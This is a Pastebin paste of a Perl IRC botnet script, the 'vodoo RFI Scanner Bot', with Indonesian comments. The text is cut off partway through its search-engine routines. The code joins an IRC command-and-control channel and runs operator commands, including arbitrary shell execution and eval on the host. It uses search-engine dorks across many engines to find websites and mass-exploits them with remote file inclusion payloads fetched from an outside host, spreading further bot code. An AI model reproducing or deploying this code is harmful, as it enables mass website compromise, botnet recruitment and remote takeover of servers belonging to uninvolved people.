Advertisement
akiramitsu

hai

Nov 20th, 2016
1,774
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 61.24 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. print('
  4. ##################################
  5. # vodoo RFI Scanner Bot v100 #
  6. # By Reload-X Guardi4n #
  7. # Editing Tahun 2011-2013 #
  8. ##################################
  9. ');
  10.  
  11. use strict;
  12.  
  13. use IO::Socket::INET;
  14. use LWP::UserAgent;
  15. use HTTP::Request;
  16.  
  17. my $versi = "c0g4n";
  18. my $cmdpre = "!"; #Command Prefix
  19.  
  20. ##[ KONFIGURASI URL ]##
  21. my $zfxid = "http://www.asiandogs.ru/dog/id1.txt?"; #zFxID1 (Simple) / #Fx29ID2 (Advanced)
  22. my $zfxid2 = "http://www.asiandogs.ru/dog/id2.txt?"; #zFxID2 (Advanced)
  23. my $fx29sh = "http://www.asiandogs.ru/dog/Ak.txt???"; #Fx29Sh (Optional)
  24. my $bypass = "http://www.asiandogs.ru/dog/google.php??"; #Google Bypasserz (Optional)
  25. my $pbot = "http://www.asiandogs.ru/dog/ptk/recky.jpg??"; #phpbot (Optional)
  26. my $thebot = "http://www.asiandogs.ru/dog/ptk/recky.jpg??"; #phpbot2 (Optional)
  27. my $cbot = "http://www.asiandogs.ru/dog/ptk/recky.jpg??"; #phpbot3 (Optional)
  28. my $botscan = "??"; #botscanloader (Optional)
  29. my $botedan = "http://www.asiandogs.ru/dog/ptk/recky.jpg??"; #botedanloader (Optional)
  30.  
  31. ##[ KONFIGURASI SOURCE ]##
  32. my $mysite = "http://www.asiandogs.ru/dog/ptk/"; #Path to Sources URL (Optional)
  33. my $spread = $mysite."recky.jpg?"; #ZFxSpreadz (Optional)
  34. my $joomlaz = $mysite."joomla.txt"; #Joomla's Bugs List (Required for Joomla RFI Scanner)
  35.  
  36. ##[ KONFIGURASI IRC ]##
  37. my @servers = ("irc.gorontalocyber.org");
  38. my %bot = (
  39. nick => "[reload".int(rand(100))."",
  40. ident => "miyabi".int(rand(100)),
  41. chan => "#isd",
  42. server => $servers[rand(scalar(@servers))],
  43. port => "7000"
  44. );
  45.  
  46. ##[ KONFIGURASI USER ##
  47. ## cryptz: 0 = Not Encrypted, 1 = Encrypted
  48. my %boss = (
  49. c0g4n => {
  50. pass => "homolo",
  51. status => "admin",
  52. cryptz => 1,
  53. login => 1
  54. },
  55. );
  56.  
  57. ##[ KONFIGURASI SPY ]##
  58. my %spy = (
  59. host => "",
  60. chanz => [""],
  61. wordz => ['http:\/\/.*[=]'],
  62. foundz => []
  63. );
  64.  
  65. ##[ KONFIGURASI BOT ]##
  66. ## Options: 0 = Disable, 1 = Enable
  67. my %conf = (
  68. showsite => 0 , #Show link to debug channel (Yes/No)
  69. linez => 5, #Lines per message
  70. sleepz => 5, #Message delay per linez (seconds)
  71. rfipid => 75, #Sites per proccess
  72. rficnt => 100, #Counter setting
  73. rficnt2 => 100, #Counter setting
  74. timeout => 4, #Http socket time out
  75. );
  76.  
  77. ##[ KONFIGURASI WARNA ]##
  78. my %colz = (
  79. 1 => " [=] " , => " [x]", #Header
  80. 3 => "" , => "", #Proses
  81. );
  82.  
  83. ##[ PARAMETER BARIS PERINTAH ]##
  84. $bot{chan} = "#".$ARGV[0] if $ARGV[0];
  85. $bot{server} = $ARGV[1] if $ARGV[1];
  86. $bot{port} = $ARGV[2] if $ARGV[2];
  87.  
  88. ##[ INISIALISASI VARIABEL ]##
  89. my $chanx = "#osco"; #2nd Channel to show the results of vurnerable site
  90. my $dbgchan = ""; #For debugging purposes (Optional)
  91. my @chans = ($bot{chan});
  92. my @badbugz = ("scan","bug"); #Bad bugs to cancel scanning
  93. my @baddorkz = ("dork"); #Bad dorks to cancel scanning
  94. my $keluar = 0;
  95. my $sock;
  96.  
  97. ##[ KONFIGURASI LOCALTESTING ]##
  98. my $tez = $ARGV[3];
  99. if ($tez == 1) {
  100. $zfxid = "http://www.asiandogs.ru/dog/id1.txt?";
  101. $zfxid2 = "http://www.asiandogs.ru/dog/id2.txt?";
  102. $fx29sh = "http://www.asiandogs.ru/dog/Ak.txt??";
  103. }
  104.  
  105. ##[ PROGRAM UTAMA ]##
  106. if (fork() == 0) { while ($keluar != 1) { irc_connect(); } die("KeLuaR!"); }
  107.  
  108. ##[ SUBRUTIN KONEKSI IRC ]##
  109. sub irc_connect {
  110. $sock = IO::Socket::INET->new(PeerAddr => $bot{server},
  111. PeerPort => $bot{port},
  112. Proto => 'tcp')
  113. or die "Ga bisa connect ke ".$bot{server}.":".$bot{port}."\r\n";
  114. $sock->autoflush(1);
  115.  
  116. irc_nick($bot{nick});
  117. irc_user($bot{ident});
  118.  
  119. my ($baris,$hb);
  120. my $loginboss = 0;
  121. my $userstat = "";
  122.  
  123. while ( $baris = <$sock> ) {
  124. $hb++;
  125.  
  126. ##[ PARSING ]##
  127. my $com;
  128. my $me = $bot{nick};
  129. my ($fcom,$dteks,@teks) = split(/\s+:/,$baris);
  130. my ($duhost,$dcom,$dtarget) = split(/ /,$fcom);
  131. my ($dnick,$dhost) = split(/!/,$duhost);
  132. $dcom = "" unless ($dcom);
  133. $dtarget = "" unless ($dtarget);
  134. $dnick =~ s/://;
  135. $dteks = trimrn($dteks);
  136. if ($dteks =~ /^[$cmdpre](.*)/) { $com = $1; } else { $com = ""; }
  137.  
  138. #print $baris."\n$dnick | $dcom | $dtarget : $dteks\n";
  139.  
  140. ##[ CEK USER ]##
  141. if ($boss{$dnick}) { ($loginboss,$userstat) = ($boss{$dnick}{"login"},$boss{$dnick}{"status"}); }
  142. else { ($loginboss,$userstat) = (0,""); }
  143.  
  144. ##[ RESPON KE SERVER ]##
  145. if ($dnick =~ /PING/) { irc_raw("PONG $dteks"); }
  146. if ($dcom =~ /001/) { irc_join($chanx); foreach my $c (@chans) { irc_join($c); } }
  147. elsif ($dcom =~ /NICK|PART|QUIT/) { if ( $boss{$dnick}{"login"} == 1 ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout!"); } }
  148.  
  149. ##[ PERINTAH PUBLIK ]##
  150. if (($dtarget) && ($dtarget eq $me)) { $dtarget = $dnick; }
  151. if ($com =~ /^help$/) { bot_help($dtarget,1); }
  152. elsif ($com =~ /^info$/) { bot_info($dtarget); }
  153. elsif ($com =~ /^gaebot\s+(http:\/\/.*[=])/) { gae_bota($dtarget,$dnick,$1); }
  154. elsif ($com =~ /^gaebotendel\s+(http:\/\/.*[=])/) { gae_botb($dtarget,$dnick,$1); }
  155. elsif ($com =~ /^gaebotping\s+(http:\/\/.*[=])/) { gae_botc($dtarget,$dnick,$1); }
  156. elsif ($com =~ /^upbot\s+(http:\/\/.*[=])/) { gae_botm($dtarget,$dnick,$1); }
  157. elsif ($com =~ /^enter\s+(http:\/\/.*[=])/) { entered($dtarget,$dnick,$1); }
  158. elsif ($com =~ /^gaebotscan\s+(http:\/\/.*[=])/) { gaescan($dtarget,$dnick,$1); }
  159. elsif ($com =~ /^gaebotedan\s+(http:\/\/.*[=])/) { gaeruwet($dtarget,$dnick,$1); }
  160. elsif ($com =~ /^respon/) { cek_respon($dtarget); }
  161. elsif ($com =~ /^milw0rm\s+(.*)/) { milw0rm($dtarget,$1); }
  162. elsif ($com =~ /^url(en|de)\s+(.*)/) {
  163. my $url = $2; my $en;
  164. if ( $1 eq "en" ) { $en = "Encode"; $url = urlen($url); }
  165. elsif ( $1 eq "de" ) { $en = "Decode"; $url = urlde($url); }
  166. msgi($dtarget,"URL $en", $url);
  167. }
  168. elsif ($com =~ /^cek\s+(http:\/\/.*[=])/) { cek_shell($dtarget,$dnick,$1); }
  169. elsif ($com =~ /^power\s+(.*)/ && $boss{$dnick}) {
  170. my $pass = $1; my $auth = $boss{$dnick}{"login"};
  171. if ( $pass && $auth == 0 ) {
  172. if ($pass eq $boss{$dnick}{"pass"}) {
  173. $boss{$dnick}{"login"} = 1;
  174. irc_ntc($dnick,"OK ".$boss{$dnick}{"status"}."!");
  175. }
  176. else { irc_ntc($dnick,"Error!"); }
  177. }
  178. else {
  179. if ($auth == 0) { irc_ntc($dnick,"Blom auth!"); }
  180. else { irc_ntc($dnick,$boss{$dnick}{"status"}."!"); } }
  181. }
  182. if ($dtarget && $dtarget ne $me) {
  183. if (($com =~ /^scan\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,1); exit; }
  184. if (($com =~ /^autoscan\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { a_scanz($dtarget,$1,$2,$hb,1); exit; }
  185. elsif (($com =~ /^scan2\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,2); exit; }
  186. }
  187. ##[ END OF PUBLIC ]##
  188.  
  189. ##[ PERINTAH USER ]##
  190. if ($loginboss == 1) {
  191. if ($com =~ /^help/) { bot_help($dtarget,2); }
  192. elsif ($com =~ /^join\s+(.*)/) { irc_join($1); push(@chans,$1); }
  193. elsif ($com =~ /^part\s+(.*)/) {
  194. my $pchan = $1; irc_part($1);
  195. for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } }
  196. }
  197. elsif ($com =~ /^nick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); }
  198. elsif ($com =~ /^bos$/ ) { my @bos = keys %boss; my $bos2 = join(" ",@bos); msgi($dtarget,"BoZz",$bos2); }
  199. elsif ($com =~ /^cryptz\s+(.*)/) { msgi($dnick,$1,cryptz($1)); }
  200. elsif ($com =~ /^logout$/ ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout berhasil!"); }
  201. elsif (($com =~ /^joomla\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,"",$1,$hb,3); exit; }
  202. elsif ($com =~ /^sublink\s+(.*)/) { my @sl = lnk_sub($1); foreach my $e(@sl) { irc_msg($dtarget,$e); } }
  203. elsif ($com =~ /^http(1|2|3)\s+(.+?)\s+(.*)/) {
  204. my ($t,$nf,$q) = ($1,$2,$3);
  205. my $h;
  206. if ($t == 1) { $h = bukasitus($q); }
  207. elsif ($t == 2) { $h = bukasitus2($q); }
  208. else { $h = bukasitus3($q); }
  209. f_simpan2($nf,$h); ntci($dnick,"SaVeD ($t)",$nf);
  210. }
  211. elsif ($com =~ /^regex(1|2)\s+(.+?)\s+(.*)/) {
  212. my $n = $1;
  213. my $q = bukasitus($2);
  214. my $regex = $3;
  215. if ($n ==1) {
  216. if ($q !~ /$regex/) { irc_msg($dtarget,"Ga cocok!"); }
  217. while ($q =~ m/$regex/g ) { irc_msg($dtarget,$1); sleep(1); }
  218. }
  219. else {
  220. while ($q =~ m/<a href=\"(.*?)\">http:\/\/(.*?)<\/a>/g) { irc_msg($dtarget,$2); sleep(1); }
  221. }
  222. }
  223. }
  224. ##[ END OF USER ]##
  225.  
  226. ##[ PERINTAH ADMIN ]##
  227. if (($loginboss == 1) && ($userstat eq "admin")) {
  228. if ($com =~ /^help/) { bot_help($dtarget,3); }
  229. elsif ($com =~ /^rahasia/) { bot_help($dtarget,4); }
  230. elsif ($com =~ /^gojoin\s+(.*)/) { irc_join($1); push(@chans,$1); }
  231. elsif ($com =~ /^gopart\s+(.*)/) {
  232. my $pchan = $1; irc_part($1);
  233. for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } }
  234. }
  235. elsif ($com =~ /^gonick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); }
  236.  
  237. elsif ($com =~ /^rfiproses\s+([0-9].*)/) { $conf{rfipid} = $1; msgi($dtarget,"RFI Pid",$conf{rfipid}); }
  238. elsif ($com =~ /^minggat/) { irc_quit("Good Bye!"); $keluar = 1; exit; }
  239. elsif ($com =~ /^reonline/) { irc_quit("Restarted proses!"); }
  240. elsif ($com =~ /^explo\s+([0-9].*)/) { $conf{rficnt} = $1; msgi($dtarget,"RFI Count",$conf{rficnt}); }
  241. elsif ($com =~ /^cshell\s+(.*)/) { $fx29sh = $1; msgi($dtarget,"Injector RFI",$fx29sh); }
  242. elsif ($com =~ /^csp\s+(.*)/) { $spread = $1; msgi($dtarget,"Injector Spread",$spread); }
  243. elsif ($com =~ /^chanhasil\s+(.*)/) { $chanx = $1; msgi($dtarget,"Chan Hasil Target ",$chanx); }
  244. elsif ($com =~ /^goid(1|2)\s+(.*)/) {
  245. my ($n,$url) = ($1,$2);
  246. if ($n == 1) { $zfxid = $url; }
  247. elsif ($n == 2) { $zfxid2 = $url; }
  248. msgi($dtarget,"Respon $n RFI",$url);
  249. }
  250. elsif ($com =~ /^urlbot(1|2|3)\s+(.*)/) {
  251. my ($n,$url) = ($1,$2);
  252. if ($n == 1) { $pbot = $url; }
  253. elsif ($n == 2) { $thebot = $url; }
  254. elsif ($n == 3) { $cbot = $url; }
  255. msgi($dtarget,"- x - Change Bot url $n Tranforms ",$url);
  256. }
  257. elsif ($com =~ /^urlcetak(1|2)\s+(.*)/) {
  258. my ($n,$url) = ($1,$2);
  259. if ($n == 1) { $botscan = $url; }
  260. elsif ($n == 2) { $botedan = $url; }
  261. msgi($dtarget,"- x - Change url Mesin Cetak $n Tranforms ",$url);
  262. }
  263. elsif ($com =~ /^chans/) { my $chans = join(",", @chans); ntci($dnick,"ChaNz",$chans); }
  264. ##[ PERINTAH SPY ]##
  265. elsif ($com =~ /^spy$/ ) { ntci($dnick,"SpY","Host: ".$spy{"host"}." Chans: ".join(",", @{ $spy{"chanz"} })." Words: ".join(",", @{ $spy{"wordz"} })); }
  266. elsif ($com =~ /^spy(found|show|clear)$/ ) {
  267. my $n = $1;
  268. if ($n eq "found") { msgi($dtarget,"SpYFouNd",scalar(@{ $spy{"foundz"} })); }
  269. elsif ($n eq "show") {
  270. my $i = 0;
  271. for my $f (@{ $spy{"foundz"} }) { irc_msg($dtarget,$f); }
  272. $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
  273. }
  274. elsif ($n eq "clear") { $spy{"foundz"} = []; msgi($dtarget,"SpyList","DiBersiHkaN!"); }
  275. else { msge($dtarget,"Spy","PeRinTah SaLah!"); }
  276. }
  277. elsif ($com =~ /^spyhost\s+(.*)/ ) { $spy{"host"} = $1; ntci($dnick,"SpYHosT",$spy{"host"}); }
  278. elsif ($com =~ /^spychan\s+(.*)/ ) {
  279. unless ($spy{"host"}) { msge($dtarget,"SiLaHkaN SeT SpyHost TerLebih DahuLu!",""); }
  280. else{ irc_join($1); push @{ $spy{"chanz"} }, $1; my $chans = join(",", @{ $spy{"chanz"} }); ntci($dnick,"SpYChaNz",$chans); }
  281. }
  282. elsif ($com =~ /^spyword\s+(.*)/ ) { push @{ $spy{"wordz"} }, $1; my $words = join(",", @{ $spy{"wordz"} }); ntci($dnick,"SpYWoRDz",$words); }
  283. ##[ END OF PERINTAH SPY ]##
  284. elsif ($com =~ /^keluar/) { irc_quit("Killed!"); $keluar = 1; system("killall perl"); exit; }
  285. elsif ($com =~ /^raw\s+(.*)/) { irc_raw($1); }
  286. elsif ($com =~ /^cspread\s+(.*)/) {
  287. my $url = $1;
  288. $spread = $url;
  289. msgi($dtarget,"Spread RFI",$spread);
  290. }
  291. elsif ($com =~ /^\+bos\s+(.+?)\s+(.*)/) {
  292. $boss{$1}{pass} = "fx";
  293. $boss{$1}{status} = $2;
  294. $boss{$1}{login} = 0;
  295. $boss{$1}{cryptz} = 0;
  296. ntci($dnick,"BoZz","$1 ditambahkan sbg ".$boss{$1}{status});
  297. msgi($1,"BoZz","Hai $1! Ketik .auth ".$boss{$1}{pass});
  298. }
  299. elsif ($com =~ /^eval\s+(.*)/) { eval($1); }
  300. elsif (( $com =~ /^cmd\s+(.*)/) && ( fork() == 0 ) ) {
  301. my $cmd = $1;
  302. if ($cmd =~ /cd (.*)/) { chdir("$1") || irc_msg($dtarget,"Ga bisa ganti dir!"); return; }
  303. my @output = `$cmd`;
  304. my $i = 0;
  305. foreach my $out (@output) {
  306. $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
  307. irc_msg($dtarget,"$out");
  308. }
  309. exit;
  310. }
  311. }
  312. ## END OF ADMIN ##
  313.  
  314. ##[ MATA-MATA ]##
  315. if ($dtarget ne $spy{"host"}) {
  316. my $is_spychan = grep $_ eq $dtarget, @{$spy{"chanz"}};
  317. if ($is_spychan == 1) {
  318. for my $t (@{$spy{"wordz"}}) {
  319. if ($dteks =~ /$t/) {
  320. msgi($spy{"host"},"!",$dteks); sleep(1);
  321. push @{ $spy{"foundz"} }, $dteks;
  322. }
  323. }
  324. }
  325. }
  326. ##[ END OF MATA-MATA ]##
  327. }
  328. ## END WHILE ##
  329. }
  330. ## END KONEK ##
  331.  
  332. #########################
  333. ##[ RUTIN EKSPLOITASI ]##
  334. #########################
  335. sub s_scanz {
  336. my ($to,$bug,$dork,$sb,$type) = @_;
  337. $sb = "Fx".$sb.".txt";
  338. $dork = bersihdork($to,$dork);
  339. my %typez = (
  340. 1 => "RFI ScaNneR",
  341. 2 => "RFI ScaN & ExpLoiT",
  342. 3 => "JooMLa MaSs ScaN & ExpLoiT"
  343. );
  344. my $badbug = cek_bug($bug);
  345. if ($badbug == 1) { msge($to,"BuG","BuGnya JeLek! ScaNNinG DiCanCeL"); return; }
  346. my $baddork = cek_dork($dork);
  347. if ($baddork == 1) { msge($to,"DoRk","DorKnya JeLek! ScaNNinG DiCanCeL"); return; }
  348. if ($type == 3) {
  349. my $h = bugjoomla("hitung");
  350. if ($h == 0) { msge($to,"Joomla","BuGnya Ga BiSa DiLoaD! ScaNNinG DiCanCeL"); return; }
  351. }
  352. irc_msg($to,$colz{1}."MeMeRikSa ReSpoN..".$colz{2});
  353. my $stat = cek_respon($to);
  354. if ($stat != 2) { irc_msg($to,$colz{1}."ReSpoN Ga BeKerJa! ScaNning diCaNCeL!".$colz{2}); return; }
  355. irc_msg($to,$colz{1}."".$typez{$type}." DiMuLai! ".$conf{rfipid}."/PID ID: $sb".$colz{2});
  356. irc_msg($to,$colz{1}."BuGz: $bug ") if ($type != 3);
  357. irc_msg($to,$colz{1}."DoRkz: $dork ");
  358. s_cari($to,$dork,$sb,$bug,$type);
  359. s_eksploit(1,$to,$bug,$dork,$sb) if ($type == 1);
  360. irc_msg($to,$colz{1}."".$typez{$type}." SeLeSai! $dork ID: $sb".$colz{2});
  361. return;
  362. }
  363.  
  364. sub a_scanz {
  365. my @domini = &SiteDomains();
  366. my ($to,$bug,$dork,$sb,$type) = @_;
  367. $sb = "Fx".$sb.".txt";
  368. $dork = bersihdork($to,$dork);
  369. my %typez = (
  370. 1 => "Auto RFI ScaNneR Domains",
  371. 2 => "RFI ScaN & ExpLoiT",
  372. 3 => "JooMLa MaSs ScaN & ExpLoiT"
  373. );
  374. my $badbug = cek_bug($bug);
  375. if ($badbug == 1) { msge($to,"BuG","BuGnya JeLek! ScaNNinG DiCanCeL"); return; }
  376. my $baddork = cek_dork($dork);
  377. if ($baddork == 1) { msge($to,"DoRk","DorKnya JeLek! ScaNNinG DiCanCeL"); return; }
  378. if ($type == 3) {
  379. my $h = bugjoomla("hitung");
  380. if ($h == 0) { msge($to,"Joomla","BuGnya Ga BiSa DiLoaD! ScaNNinG DiCanCeL"); return; }
  381. }
  382. foreach my $Domains(@domini){
  383. irc_msg($to,$colz{1}."MeMeRikSa ReSpoN..".$colz{2});
  384. my $stat = cek_respon($to);
  385. if ($stat != 2) { irc_msg($to,$colz{1}."ReSpoN Ga BeKerJa! ScaNning diCaNCeL!".$colz{2}); return; }
  386. irc_msg($to,$colz{1}."".$typez{$type}." Start! ".$conf{rfipid}."/PID ID: $sb".$colz{2});
  387. irc_msg($to,$colz{1}."-=X=- Auto Scan Domain Dijalankan Please Waiting For it !!!-=X=-");
  388. my $auto_dork = $dork." site:".$Domains;
  389. irc_msg($to,$colz{1}."BuGz: $bug ") if ($type != 3);
  390. irc_msg($to,$colz{1}."DoRkz: $auto_dork ");
  391. s_cari($to,$auto_dork,$sb,$bug,$type);
  392. s_eksploit(1,$to,$bug,$auto_dork,$sb) if ($type == 1);
  393. irc_msg($to,$colz{1}."".$typez{$type}." SeLeSai! $auto_dork ID: $sb".$colz{2});
  394. }
  395. }
  396. sub s_eksploit {
  397. #Type: 1 = Biasa, 2 = Cari dan exploit, 3 = Joomla
  398. #Engine: Kosong = Eksploit total, Ada = Eksploit per engine
  399. my ($type,$chan,$bug,$dork,$tf,$engine) = @_;
  400. my @prosesbaru;
  401. my @semuatarget;
  402. my $hitung;
  403. my $num = 0;
  404. my @bugjoomla = bugjoomla($chan) if ($type == 3);
  405. unless (open(FILEZ,"< $tf")) { msge($chan,"FILE","Ga BiSa BuKa $tf!"); return; }
  406. while (my $r = <FILEZ>) { $r =~ s/\n//g; push(@semuatarget,$r); }
  407. close(FILEZ);
  408. f_hapus($tf);
  409. my @target = lnk_sortir(@semuatarget);
  410. if (!$engine) {
  411. irc_msg($chan,$colz{1}."HaSiL Penyelidikan $dork".$colz{2});
  412. irc_msg($chan,$colz{1}."ToTaL: ".scalar(@semuatarget)." BeRsih: ".scalar(@target)." ID: $tf".$colz{2}." ".$colz{1}."ExpLoiTaSi DiMuLai!".$colz{2});
  413. }
  414. foreach my $situs (@target) {
  415. $hitung++;
  416. if ($hitung % $conf{rfipid} == 0) {
  417. foreach my $f (@prosesbaru) { waitpid($f,0); }
  418. $num = 0;
  419. }
  420. if ($type != 1 && $hitung % $conf{rficnt2} == 0) {
  421. irc_msg($chan,"$engine ".$hitung." [X] ". scalar(@target). " ");
  422. }
  423. if ($type == 1 && $hitung % $conf{rficnt} == 0) {
  424. irc_msg($chan,$colz{3}.$hitung." : ".scalar(@target).$colz{4});
  425. }
  426. $prosesbaru[$num] = fork();
  427. if ($prosesbaru[$num] == 0) {
  428. if ($type != 3) {
  429. my $q = bukasitus("http://".$situs.$bug.$zfxid."?");
  430. if ($q =~ /ShiroHige/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
  431. }
  432. else {
  433. foreach my $bug (@bugjoomla) {
  434. my $q = bukasitus("http://".$situs.$bug.$zfxid."?");
  435. if ($q =~ /ShiroHige/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
  436. }
  437. }
  438. exit(0);
  439. }
  440. $num++;
  441. }
  442. foreach my $f (@prosesbaru) { waitpid($f,0); }
  443. if ($engine) { irc_msg($chan,"$engine FiNizZ! "); }
  444. }
  445. ###########################
  446. ##[ RUTIN SEARCH ENGINE ]##
  447. ###########################################################################
  448. ## GOOGLE : AOL, *CompuServe, *Mahalo.com, *MySpace, *Netscape, *Ripple ##
  449. ## YAHOO : AltaVista, AlltheWeb, GoodSearch, *Rectifi ##
  450. ## LIVE : *A9.com, *Ms.Dewey, *Tafiti ##
  451. ## ASK : *iWon, Lycos ##
  452. ## LAINNYA : Abacho, Clusty, Dmoz, Euroseek, Fireball, Hotbot, Mamma, ##
  453. ## Virgilio, Webcrawler, Webde ##
  454. ## * Not implemented yet
  455. ###########################################################################
  456. sub s_cari {
  457. #Type: 1 = Cari saja, 2 = Cari dan eksploit, 3 = Cari dan eksploit Joomla
  458. my ($chan,$dork,$nf,$bug,$type) = @_;
  459. my @engz;
  460. my $key = $dork;
  461. $dork = urlen($key);
  462. $engz[0] = fork(); if ($engz[0] == 0) { s_engine("google", "Google" ,$type,$chan,$bug,$dork,$nf); exit; }
  463. $engz[1] = fork(); if ($engz[1] == 0) { s_engine("netscape", "Netscape" ,$type,$chan,$bug,$dork,$nf); exit; }
  464. $engz[2] = fork(); if ($engz[2] == 0) { s_engine("yahoo", "Yahoo" ,$type,$chan,$bug,$dork,$nf); exit; }
  465. $engz[3] = fork(); if ($engz[3] == 0) { s_engine("live", "Live" ,$type,$chan,$bug,$dork,$nf); exit; }
  466. $engz[4] = fork(); if ($engz[4] == 0) { s_engine("google2", "Google2" ,$type,$chan,$bug,$dork,$nf); exit; }
  467. $engz[5] = fork(); if ($engz[5] == 0) { s_engine("altavista", "Altavista" ,$type,$chan,$bug,$dork,$nf); exit; }
  468. $engz[6] = fork(); if ($engz[6] == 0) { s_engine("alltheweb", "AllTheWeb" ,$type,$chan,$bug,$dork,$nf); exit; }
  469. $engz[7] = fork(); if ($engz[7] == 0) { s_engine("goodsrch", "GoodSearch" ,$type,$chan,$bug,$dork,$nf); exit; }
  470. $engz[8] = fork(); if ($engz[8] == 0) { s_engine("lycos", "Lycos" ,$type,$chan,$bug,$dork,$nf); exit; }
  471. $engz[9] = fork(); if ($engz[9] == 0) { s_engine("uol", "BigLobe" ,$type,$chan,$bug,$dork,$nf); exit; }
  472. $engz[10] = fork(); if ($engz[10] == 0) { s_engine("virgilio", "Virgilio" ,$type,$chan,$bug,$dork,$nf); exit; }
  473. $engz[11] = fork(); if ($engz[11] == 0) { s_engine("webde", "Web.de" ,$type,$chan,$bug,$dork,$nf); exit; }
  474. $engz[12] = fork(); if ($engz[12] == 0) { s_engine("clusty", "Clusty" ,$type,$chan,$bug,$dork,$nf); exit; }
  475. $engz[13] = fork(); if ($engz[13] == 0) { s_engine("hotbot", "Hotbot" ,$type,$chan,$bug,$dork,$nf); exit; }
  476. $engz[14] = fork(); if ($engz[14] == 0) { s_engine("ask", "Ask" ,$type,$chan,$bug,$dork,$nf); exit; }
  477. $engz[15] = fork(); if ($engz[15] == 0) { s_engine("aol", "Bing" ,$type,$chan,$bug,$dork,$nf); exit; }
  478. $engz[16] = fork(); if ($engz[16] == 0) { s_engine("search_com", "Search" ,$type,$chan,$bug,$dork,$nf); exit; }
  479. $engz[17] = fork(); if ($engz[17] == 0) { s_engine("exalead", "Exalead" ,$type,$chan,$bug,$dork,$nf); exit; }
  480. $engz[18] = fork(); if ($engz[18] == 0) { s_engine("tiscali", "Tiscali" ,$type,$chan,$bug,$dork,$nf); exit; }
  481. $engz[19] = fork(); if ($engz[19] == 0) { s_engine("rediff", "Rediff" ,$type,$chan,$bug,$dork,$nf); exit; }
  482. $engz[20] = fork(); if ($engz[20] == 0) { s_engine("webcrawl", "WebCrawler" ,$type,$chan,$bug,$dork,$nf); exit; }
  483. $engz[21] = fork(); if ($engz[21] == 0) { s_engine("abacho", "abacho" ,$type,$chan,$bug,$dork,$nf); exit; }
  484. $engz[22] = fork(); if ($engz[22] == 0) { s_engine("dmoz", "dmoz" ,$type,$chan,$bug,$dork,$nf); exit; }
  485. $engz[23] = fork(); if ($engz[23] == 0) { s_engine("mamma", "mamma" ,$type,$chan,$bug,$dork,$nf); exit; }
  486. $engz[24] = fork(); if ($engz[24] == 0) { s_engine("euroseek", "Onet" ,$type,$chan,$bug,$dork,$nf); exit; }
  487. $engz[25] = fork(); if ($engz[25] == 0) { s_engine("fireball", "fireball" ,$type,$chan,$bug,$dork,$nf); exit; }
  488. $engz[26] = fork(); if ($engz[26] == 0) { s_engine("gigablast", "gigablast" ,$type,$chan,$bug,$dork,$nf); exit; }
  489. foreach my $e (@engz) { waitpid($e,0); }
  490. }
  491. sub s_engine {
  492. my ($f,$se,$type,$chan,$bug,$dork,$ef) = @_;
  493. my @hc;
  494. if ($f eq "google" ) { @hc = se_google($chan,$dork,$ef); }
  495. elsif ($f eq "google2" ) { @hc = se_google_m($chan,$dork,$ef); }
  496. elsif ($f eq "yahoo" ) { @hc = se_yahoo($chan,$dork,$ef); }
  497. elsif ($f eq "altavista") { @hc = se_altavista($chan,$dork,$ef); }
  498. elsif ($f eq "alltheweb") { @hc = se_alltheweb($chan,$dork,$ef); }
  499. elsif ($f eq "goodsrch" ) { @hc = se_goodsearch($chan,$dork,$ef); }
  500. elsif ($f eq "lycos" ) { @hc = se_lycos($chan,$dork,$ef); }
  501. elsif ($f eq "live" ) { @hc = se_live($chan,$dork,$ef); }
  502. elsif ($f eq "hotbot" ) { @hc = se_hotbot($chan,$dork,$ef); }
  503. elsif ($f eq "aol" ) { @hc = se_aol($chan,$dork,$ef); }
  504. elsif ($f eq "ask" ) { @hc = se_ask($chan,$dork,$ef); }
  505. elsif ($f eq "search_com") { @hc = se_search_com($chan,$dork,$ef); }
  506. elsif ($f eq "exalead" ) { @hc = se_exalead($chan,$dork,$ef); }
  507. elsif ($f eq "tiscali" ) { @hc = se_tiscali($chan,$dork,$ef); }
  508. elsif ($f eq "rediff " ) { @hc = se_rediff($chan,$dork,$ef); }
  509. elsif ($f eq "virgilio" ) { @hc = se_virgilio($chan,$dork,$ef); }
  510. elsif ($f eq "webde" ) { @hc = se_webde($chan,$dork,$ef); }
  511. elsif ($f eq "uol" ) { @hc = se_uol($chan,$dork,$ef); }
  512. elsif ($f eq "netscape" ) { @hc = se_netscape($chan,$dork,$ef); }
  513. elsif ($f eq "clusty" ) { @hc = se_clusty($chan,$dork,$ef); }
  514. elsif ($f eq "webcrawl" ) { @hc = se_webcrawler($chan,$dork,$ef); }
  515. elsif ($f eq "abacho" ) { @hc = se_abacho($chan,$dork,$ef); }
  516. elsif ($f eq "gigablast") { @hc = se_gigablast($chan,$dork,$ef); }
  517. my @cl = lnk_sortir(@hc);
  518. msgr($chan,$se,scalar(@hc),scalar(@cl));
  519. if (scalar(@cl) == 0) { exit; }
  520. if ($type == 1) { foreach my $e (@cl) { f_simpan($ef,$e); } }
  521. else {
  522. my $ef2 = $f.$ef;
  523. foreach my $e (@cl) { f_simpan($ef2,$e); }
  524. if ($type == 2) { s_eksploit(2,$chan,$bug,$dork,$ef2,$se); }
  525. elsif ($type == 3) { s_eksploit(3,$chan,$bug,$dork,$ef2,$se); }
  526. }
  527. }
  528. ##[ GOOGLE ]##
  529. sub se_google2 {
  530. my ($chan,$key,$nf,$proxy) = @_;
  531. my @daftar;
  532. my $num = 10; my $max = 500; my $p = "10";
